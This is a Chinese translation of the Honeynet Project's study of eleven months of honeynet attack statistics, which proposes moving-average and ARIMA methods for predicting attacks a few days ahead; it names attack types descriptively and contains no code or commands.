    Honeynet数据有价值的地方是Honeynet减少了主动错误信息(false positives)和被动错误信息(false negatives)所产生的问题。主动错误信息(false positives)指的是当组织由于恶意活动而被通知警报时候,经检查其实没有任何事情发生,而当这个组织持续的被主动错误信息(false positives)所触发警报,他们开始忽略他们的警报系统和数据采集,导致警告系统人为的无效。举个例子,MAIL入侵探测系统警告管理员系统被攻击,可能是一般已知的攻击被探测到,但是,这个警告可能是由一封包含对这个已知漏洞的警告并包含了攻击者所需的源代码来通知管理员的邮件错误触发的,或者可能是网络监视通信程序SNMP或者ICMP错误触发的。主动错误信息(false positives)对于大多数组织机构来说是是一项持续的挑战。Honeynet通过不包含任何实际的产品通信所触发的信息来减少这个问题,即不安装任何相关应用产品。因为Honeynet网络没有实际用途,它只是为了捕获未授权的活动,这表示任何信息包的进入和离开Honeynet都很本能的认为是有嫌疑的(因为没有任何应用平台),就简化了数据捕获和进程分析,减少主动错误信息(false positives)的产生。

    被动错误信息(false negatives)是多数组织机构需要面对的另一项挑战,被动错误信息(false negatives)就是对于真实的恶意攻击者或者未授权活动检测失败。多数组织机构有适当的机制来检测攻击,如入侵检测系统,防火墙日志,系统日志和进程计帐。这些工具的目的是为了检测有可疑或者未授权活动,但是,其中有两个重要的问题会导致产生被动错误信息(false negatives)检测失败:数据负载过重和新的漏洞,数据负载过重是当组织机构捕获过多的数据,而没有全部被查看,因此攻击者被忽略过,如,多数组织机构记录G级别的防火墙或者系统活动信息,这样对与重新复查这些成吨的信息来鉴别可疑行为变的极其困难。第二个问题就是新型漏洞的攻击,而造成安全软件没有能力来检测这种个攻击。Honeynet通过绝对的捕获所有进出honeynet的信息来减少这种新型攻击产生的漏捕。记住:Honeynet里只有很少或者没有的相关应用平台和程序所产生的活动,这表示所有捕获的相关信息是有一定嫌疑的。即使我们漏捕最初始的攻击,我们仍然截获这个活动,如Honeynet中有2个系统在没有任何警告给Honeynet 管理员的情况下被入侵,我们没有探测到这次攻击知道被入侵的主机发起对外的连接,一旦这些尝试被我们探测到,我们就检查了所有捕获的活动信息来鉴定这个攻击:它是怎样成功的,为何我们漏捕了,通过这些研究,honeynet减少了被动错误信息(false negatives)所产生的问题。

    对于有价值的数据的复查可以很明显的减少主动错误信息(false positives)和被动错误信息(false negatives)的产生。记住:下面我们所讨论的发现是特定我们的网络,这不意味着你的组织机构中会看到同样的模式或者行为,我们使用这个采集到的数据来演示部分blackhat的性质和早期警告和预测的可能性。

    Analyzing the Past

    当我们研究黑帽子团体的时候,Honeynet项目惊奇地看到黑帽子团体是如此的活跃。我们的发现是令人惊慌的。下面是我们对十一个月来所收集数据的一些统计。公布这些数据的目地是展示黑帽子团体的频繁活动。需要注意的是,这些统计信息只代表了一个没什么价值的小家庭网络,它没有对外广而告之并且没有试图引诱黑客。那些有很高名气和很大价值的大型组织机构极有可能被探测和攻击的次数多得多。

    攻击后的分析:


从2000年4月到11月,7台默认安装的Red Hat 6.2服务器在它们被放上Internet的三天之内被攻击。基于此,我们估计一个默认安装的Red Hat 6.2服务器的预期生命少于72小时。当我们最后一次试图证实这个估计的时候,系统在八小时内就被攻破。一个系统最快在15分钟内就被入侵。这意味着系统在连上Internet的15分钟内就被扫描,探测和入侵。碰巧的是,这是我们在1999年3月建立的第一个蜜罐系统。
在2000年10月31日,我们放置了一个默认安装的Windows98系统,就象许多家庭和组织那样设置了共享。这个蜜罐系统在24小时之内就被入侵。在接下来的三天中又被入侵了四次。就是说在少于四天内它被成功地入侵了五次。在2000年5月,我们有了第一个全月的Snort入侵警告信息,Honeynet项目记录了157个Snort警告。在2001年2月,Honeynet项目记录了1398个Snort警告,表示了超过890%的增长。这些增长可能受到对Snort入侵检测系统配置文件修改的影响。然而,我们也从防火墙日志中看到了活动的增加。在2000年5月我们有了第一个全月的防火墙的警告信息,Honeynet项目防火墙记录了103个不同的扫描(不算上NetBios)。在2001年2月,Honeynet项目记录了206个不同的扫描(不算上NetBios)。这表示增加了100% 。这些数字表示了黑帽子活动的持续的增加,极有可能是因为更具攻击性的自动扫描工具的出现和它们能更容易地被得到。
在三十天内(2000年的9月20日-10月20日),Honeynet收到524个不同的NetBios的扫描,平均每天17个不同的扫描。
在2001年2月,一共对Honeynet有27次X86漏洞利用。X86意思是这些攻击被设计是对付Intel架构系统的。在这些攻击中,有8次是对Solaris Sparc系统的进行的。因为系统架构不兼容,这些漏洞利用对Sparc系统是无效的。这暗示了一些攻击者并不确认是什么操作系统或在其上运行了什么版本的服务。当他们发现了服务,他们甚至首先不确认系统是不是脆弱的,或者甚至是不是正确的系统类型。这种活动方式能使黑帽子在更短的时间内扫描和攻击更多的系统。
从2000年4月至今,除了通常的扫描外,最流行的探测方法是DNS版本查询,接下来的就是RPC服务的查询。
最流行的攻击是对Intel架构系统的rpc.statd溢出攻击。
最流行的扫描方法是对整个IP段对特定端口的SYN-FIN扫描(通常按先后顺序)。这反映了聚焦于单个脆弱性的策略,针对这个脆弱性扫描到尽可能多的系统。许多黑帽子只使用单个的工具,或只利用他们知道如何利用或最有效的漏洞。
    Predicting the Future

    Honeynet项目想要研究的一个方向是对系统攻击的前期预警,这样也可以给Honeynet搜集更多有价值的数据带来理论上的帮助。这些理论并不是非常新的,而且也有有些大公司在使用着,我们也希望我们的研究对这些公司及其它组织有所帮助。在详细地解释我们的方法之前,我想先声明:我们的研究还处于初始阶段,还有大量的数据分析工作需要进行。 OK,让我们开始吧……


我现在讨论的仅仅是一个独立的Honeynet,仅是提供单节点的、数据量不大的观察结果。下面所要提及的方法将会在世界各国更广阔的环境、有众多Honeynet的环境中测试。
我们并没有试图对由同一个攻击者发起的攻击作出识别,原因很简单,因为现在欺骗技术使用太广泛了。
我们的许多推测建立在一个攻击者总是首先扫描然后攻击服务器这个流程上。当然,有些情况下或许扫描与攻击这两个事件根本是偶然。但我们仍坚持上述的观点。
    我们努力对攻击情况做出合理的预测,期间Honeynet的两位成员提出了两个不同的方法,但是最终发现他们的结果是大同小异的,几乎所有的入侵者都在他们实施真正攻击前的两到三天被发现。

    使用统计学原理对事件做预警[Statistical Process Controls(SPC)]:

    首先是非常基础的统计学分析,类似于工厂里对生产情况进行统计对比。这种方法虽然看起来相当简单,但却能够精确地判断出短时期内(三天会更短)对Honeynet可能发生的攻击情况,简单的操作如下:


我们分析了从2000年4月到2001年1月的所有snort记录。
对snort报告得最多的10种攻击,我们计算出每天每种攻击会被重复多少次。
然后,我们计算出每种攻击方式3天内的滑动平均模型,称作3DMA(three day moving average),然后我们在图上标出每种攻击方式在每天及每三天内会被报告多少次。
我们计算出一个时期内的攻击水平平均值。
在任何一个3DMA阶段内,如果发现2倍于平均值的攻击数量,或者持续高速增长,我们就可以认为这是一个危险信号。
    在这里,我们并没有区分入侵尝试及成功攻击,只是在图表画出来后,再标记上成功及企图的攻击,所有的数据可以在Honeynet的网站上获取。下面是我们的一些发现:


Honeynet在2000年4月9日到2000年9月31日期间记录下了八次成功的攻击事件,除了一件之外,其余的都利用上面所描述的方法得到了准确的预测。
在这段时间的试验以及所有的攻击中,多数的攻击尝试都是在3DMA超出了平均水平——也就是我们的控制点2倍,只有一次是7天之内,才发生真正的攻击事件。下面是一些事例:
RPC:     我们从2000年4月1日对RPC服务进行了观察,总共用了180天时间,在第61至68天之间,发现图表中的查询次数有明显上升趋势,终于在第68天,一次利用rpc.statd的攻击发生了。另一次是在第153到170天之间,有大量的请求111端口的数据,而后就是在第177天时的一次对rpc.statd的成功溢出攻击。下面是一个对这期间活动的模型图表,X座标是天,Y座标是指发生次数。


DNS/named: 从第81-85天看起来不正常地活跃,有许多异样的请求发送到name server。在第85天,named服务受到了一次不成功的攻击。


    Validation through Regression Analysis and ARIMA:

    第二种方法对于第一种方法是一个有益的补充,比如它可以揭示出在有人违反snort的rpc规则后,大概多长时间系统遭攻陷,明确两者间的关联。在一段连续的时间内,有些简单的模型可以对违反rpc规则与系统真正被攻陷间做出清晰的关联。     从下面的图表模型中我们可以看出,利用rpc.statd进行攻击的行为其实早几天就能被发现。横座标表示日期,在这里是从1-180天,向下的曲线通常表明有一些重要的事件发生,这能够预报一些攻击行为,比如在第68天我们受到攻击之前的10天内,就出现了这样的行为,而在其后又有三次向下的曲线,紧接着就是一次同样的rpc攻击发生在第177天。这里我也不太了解向上的曲线代表什么,但通常处在这种情况下,是一个平稳时期,没有太多的意外情况发生。
 
  需要说明的是,在这些分析模型中肯定会存在一些错误,我们需要更多的数据,以及对这些分析预测模型更完善的利用方式,这样才能够有效地得出攻击预警的一些思路。

    利用ARIMA模型找出攻击前的特征

    另一个研究的领域是识别出某些类型的攻击或者扫描存在着的特征,这两个事例都来自于我们Honeynet小组成员的“每月扫描”中,下面的图形描述了在一个月中我们遭受的端口扫描的数量。这里我们很乐于回答的另一个问题是对于不同的扫描及准备攻击的行为:“在一段时期内的数据收集之后,我们想要观察什么呢?”在这个简单的ARIMA(回归滑动平均模型,Auto Regression Integrated with Moving Averages)案例中,是直接按捕获的数据资料进行分析的,ARIMA是一个可以用在对一定时期内搜集的数据进行深度分析的基本模型,下面的图表表明了在九月份我们遭受的端口扫描的频繁程度。


ARIMA模型的结果以下面表格的形式表示,这个表格显示说明了端口扫描是这些攻击中看起来较有代表性的,它先是向上拉起一个高峰,然后由其它类型的行为如预攻击等等终止。我们成员中的统计学专家还建议,三天的移动平均数计算在这样的时期内可能是太过粗糙的,对于这种类型的攻击,两天可能是一个相对合适的取值。
 

    在上面的两种分析中,我们的分析结果都受到了数据量不足的制约。但它还是给我们带来很多的经验,分析大量的数据,应该能够带来更多并非琐碎的,而是对我们从攻击本身建立起对攻击的预警体系,很有帮助的一件事。对于将来的测试以及改进这些理论,我们打算在下面做一些工作:
我们需要获取更多的,彼此相互关联的数据来进行对比分析。
更多的变量参数值——增加一些不同类型的snort捕获的数据,会有助于我们理解事件发生的流程。
不同的统计分析技术,比如事件历史分析(Event History Analysis)
    我们欢迎安全组织测试或者开发这样的理论,并且将其应用于实际的统计分析上,对于不同的分析方法我们尤其感兴趣。我们在这里提供给大家的并不是最好的分析方法,事实上,一切研究都刚起步。下面的链接是Honeynet Project过去捕获到的数据,共有十一个月,从2000年4月起至2001年2月止honeynet_data.tar.gz

    结论

    在这十一个月中,我们努力地捕获所有的扫描、攻击及利用我们机器的一些行为的信息。这些信息被我们以两种方式分析。第一种方式说明了blackhat团队的活跃性,要记住,Honeynet是一个没有关键信息、并且不做任何宣传的网络,如果你的网络里有重要数据,或者你大做宣传,那么你可能会面临更多的攻击。第二种方法我们用来检验攻击预警理论。我们认为利用它能够对未来的攻击行为作出预测。Honeynet并不是仅有一种搜集信息的手段,事实上,我们有许多方法来尽量减少主动信息错误和被动信息错误。充分利用了数据采集以及数据分析的方法,一个组织就能够更好地对blackhat团队的攻击做出防护了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值